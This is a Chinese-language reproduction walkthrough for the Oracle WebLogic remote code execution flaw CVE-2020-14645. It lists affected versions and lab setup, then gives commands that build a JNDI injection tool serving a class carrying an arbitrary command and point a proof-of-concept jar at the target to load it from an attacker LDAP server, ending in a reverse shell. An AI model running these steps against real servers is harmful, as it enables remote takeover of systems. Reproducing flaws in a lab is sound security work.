Weblogic遠端程式碼執行漏洞(CVE-2020-14645)
簡介
WebLogic是美國Oracle公司出品的一個application server,確切的說是一個基於JAVAEE架構的中介軟體,WebLogic是用於開發、整合、部署和管理大型分散式Web應用、網路應用和資料庫應用的Java應用伺服器。將Java的動態功能和Java Enterprise標準的安全性引入大型網路應用的開發、整合、部署和管理之中。
攻擊者可利用漏洞實現遠端程式碼執行。
影響版本
Oracle WebLogic Server 10.3.6.0.0
Oracle WebLogic Server 12.1.3.0.0
Oracle WebLogic Server 12.2.1.3.0
Oracle WebLogic Server 12.2.1.4.0
Oracle WebLogic Server 14.1.1.0.0
復現環境
下載JDK 6u211/7u201/8u191任意版本並配置環境變數
本人用的jdk8(下載地址:https://mega.nz/file/1KIhjSCR#g0s5jekk3F9t55o3WXK_ahozuqn9_60eKSKt70we_uw)
WebLogic 12.2.1.4官方下載地址:
https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
安裝
一直下一步,勾選自助啟動配置嚮導選項
進入配置嚮導,建立新域並勾選全部模板;
安裝成功後,使用cd跳到base_domain目錄下
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain
執行startWebLogic.cmd
瀏覽器訪問http://IP:7001/console/login/LoginForm.jsp
使用JNDI工具搭建LDAP和HTTP服務,注意不能佔用8180/1099/1389三個埠,修改要執行的命令後回車,會同時啟動LDAP/RMI/HTTP三種服務,並且自動編譯好帶命令的class檔案
JNDI工具下載地址:
https://github.com/welk1n/JNDI-Injection-Exploit
下載完成後進入目錄編譯
cd JNDI-Injection-Exploit
mvn clean package -DskipTests
編譯的時間比較久,需要多等會(我在進行編譯的時候,花了很久時間,是Maven源沒更換導致的)
編譯完成後進入target,使用命令
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C [command] -A [address]
然後使用CVE-2020-14645漏洞驗證工具
下載地址:https://github.com/DSO-Lab/defvul(推薦使用映象地址:https://github.com.cnpmjs.org/DSO-Lab/defvul)
進入CVE-2020-14645_Weblogic目錄下進行編譯
因為我kali中的jdk版本為11,該漏洞驗證工具需要的jdk版本為1.8;於是我又屁顛屁顛在ubuntu上裝java,裝mvn;
開始編譯:
編譯成功:
然後進入target
java -jar CVE-2020-14645.jar LDAP_IP:LDAP_PORT/#Exploit http://192.168.31.107:7001
成功反彈